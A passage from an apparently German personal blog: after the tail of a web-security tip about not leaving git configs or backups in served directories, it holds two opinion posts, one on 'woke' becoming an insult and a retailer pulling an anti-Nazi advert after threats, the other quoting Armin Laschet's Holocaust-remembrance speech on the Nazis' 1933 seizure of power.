  4. Keine Daten, die nicht öffentlich sein sollen, in einem Verzeichnis liegen lassen, aus dem Dateien ausgeliefert werden. Dateien wie eine git-Konfiguration oder ein Backup-Ordner können sensible Informationen enthalten.

Warum wird „woke“ eigentlich herabwertend genutzt?

Ich möchte mal über zwei Sachen schreiben. Die erste davon hängt mir schon länger im Kopf herum, die zweite ist erst kürzlich aufgeschlagen.

Der Begriff „woke“ stammt laut Wikipedia aus den USA und bedeutet meines Verständnisses nach in etwa, aufmerksam durch die Welt gehen, gesellschaftliche Misstände (Rassismus, Sexismus, Armut, etc) wahrnehmen und sie öffentlich bekannt machen.

Warum ZUR HÖLLE haben die Rechten (und mittlerweile nicht mehr nur die ganz Rechten, z.B. auch die CDU/CSU) es geschafft, das zu einem Schimpfwort zu machen? Ich verstehe das einfach nicht. Wie soll man denn die Dinge verbessern, wenn man nicht auf Misstände aufmerksam macht? Klar, man kann nicht von jeder Person verlangen, die Welt zu verbessern. Aber wenigstens sollte man doch nicht die Leute heruntermachen, die sich dafür abrackern, es doch zu tun.

Das ist also ein komplett positiver Begriff, der es irgendwie geschafft hat, von irgendwelchen Arschlöchern so verbogen zu werden, dass er als Schimpfwort genutzt werden kann. So ähnlich, wie der Begriff „Gutmensch“. Und damit komme ich zu der zweiten Sache.

Der Begriff „Nazi“ ist ja eigentlich komplett negativ besetzt. Die historischen Nazis waren eine mordende, Hass und Lügen verbreitende Bewegung. Wer sich heute als Nazi bezeichnet, steht gesellschaftlich (zu Recht) im Aus. Selbst die AfD will sich nicht als Nazis bezeichnen, weil sie wissen, dass das Wort extrem negativ belegt ist.

Bis jetzt. Vor ein paar Wochen hat nämlich ein Herr Simmel, der mehrere Edeka-Märkte betreibt, auf seiner Werbung im Logo seines Unternehmens die Statements „Für Demokratie. Gegen Nazis.“ untergebracht. Gegen „Für Demokratie“ kann man ja nichts sagen. Und „Gegen Nazis“ ist auch etwas absolut positives, weil wir ja gerade etabliert haben, dass „Nazi“ absolut negativ belegt ist.

Anscheinend identifizieren sich aber in Deutschland mittlerweile so viele Leute offen als Nazis, dass die sich auf den Schlips getreten fühlen und einen Shitstorm gegen Simmels Läden geführt haben, bis sich Herr Simmel genötigt fühlte, die Werbung wieder zurückzuziehen. Anscheinend wurden auch seine Angestellten bedroht, und da wollte er nichts riskieren. Ein AfD-Stadtrat hat sich angeblich sogar beklagt, dass Simmel Andersdenkende ausschließen würde.

NUR DASS ES SICH BEI DIESEN „ANDERSDENKENDEN“ HALT EXPLIZIT UM NAZIS HANDELT! Ihr wisst schon. Die, die einen der, wenn nicht den größten Genozid der Menschheitsgeschichte durchgeführt haben! Die… ich brauche eigentlich nicht aufzählen, was die alles verbrochen haben. Jede Person, die in Deutschland zur Schule geht, kriegt das beigebracht. Es gibt Gedenkstätten, regelmäßige Gedenkveranstaltungen, Museumsausstellungen, Stolpersteine… man kommt nicht darum herum. Und trotzdem gibt es genug Leute, die denken, dass es ihr gutes Recht ist, sich selbst offen als Nazi zu bezeichnen und damit keinen Gegenwind zu bekommen?

Das sind dann übrigens auch die Leute, die sich immer beklagen, dass wir diese Gedächtniskultur haben. Ich habe vor mittlerweile 16 Jahren, als einen der frühesten Posts in meinem Blog, geschrieben, warum dieses Erinnern wichtig ist. Und die aktuellen Ereignisse machen nur deutlich, dass das heute wichtiger ist als jemals zuvor.

Aber eigentlich wollte ich mich ja über die Begriffe beklagen: Warum zu Hölle leben wir in einer Welt, in der „Nazi“ nicht mehr universell als negativ betrachtet wird, „woke“ aber zum Schimpfwort geworden ist? Kann mir das mal jemand erklären?

In zwei Monaten war alles zerstört.

Ich halte ja nicht viel von der CDU. Oder von Armin Laschet. Aber bei einer Rede zum Holocaust-Gedenktag (als Videoaufzeichnung habe ich leider nur dieses Video gefunden, so wie es aussieht ist das von einem anderen Videoplayer abgefilmt) hat er sehr treffend die Situation wiedergegeben, wie die Nazis 1933 an die Macht kamen, und weswegen wir jetzt der AfD keinen Finger breit Platz machen dürfen.

Man kann sagen: „Naja, so schlimm wird das schon nicht werden“. So haben die Leute 1933 auch gedacht. Bei der Reichstagswahl, der letzten, im November 1932 hatten die Nazis zwei Millionen Stimmen verloren. Sie hatten nur noch 33 Prozent. In Aachen, Köln, in dem Wahlkreis 17 Prozent. Und dann wurd' Hitler zum Reichskanzler erwähnt. Und dann haben manche gesagt: „Na, wir ernennen den jetzt mal, in zwei Monaten wird der quietschen. Dann hat er sich entlarvt, der wird keinen Erfolg haben“. Und er hatte nur zwei Minister: den Innenminister Frick und Göring. Alle anderen waren noch aus demokratischen Parteien. Und wissen Sie, was in den zwei Monaten bis zu dem Zeitpunkt, wo er quietschen sollte, passiert ist?

30. Januar: Seine Ernennung. 1. Februar: Auflösung des Reichstags, 3. Februar: Hitler sagt, er will rücksichtslos germanisieren und Lebensraum im Osten gewinnen. 4. Februar: Einschränkung der Presse- und Meinungsfreiheit, 22. Februar: SA und SS werden zur Hilfspolizei ernannt. 27. Februar: der Reichstag brennt, 5. März: wieder eine Wahl, wieder keine absolute Mehrheit für die Nazis, 11. März: Goebbels Propagandaminister. 22. März: Errichtung des Konzentrationslagers Dachau, 23. März: Ermächtigungsgesetzt, Ende der Demokratie in Deutschland.

In zwei Monaten war alles zerstört. Und deshalb dürfen Antidemokraten in keine staatliche Funktion kommen, sie werden sie nutzen, die Demokratie zu beseitigen, und das werden wir nicht zulassen!

Ich finde es gut, dass auch jemand von der CDU das jetzt nicht nur verstanden hat, sondern das auch klar, deutlich und rhetorisch gut rüberbringt.

Ach ja, noch eine Person, mit der ich nichts anfangen kann, die aber klar Haltung bezieht: Helene Fischer (gut, genau genommen habe ich keine Ahnung von ihr und finde nur ihre Musik furchtbar). Die hat sich, zusammen mit anderen, auch öffentlich gegen Rechts ausgesprochen.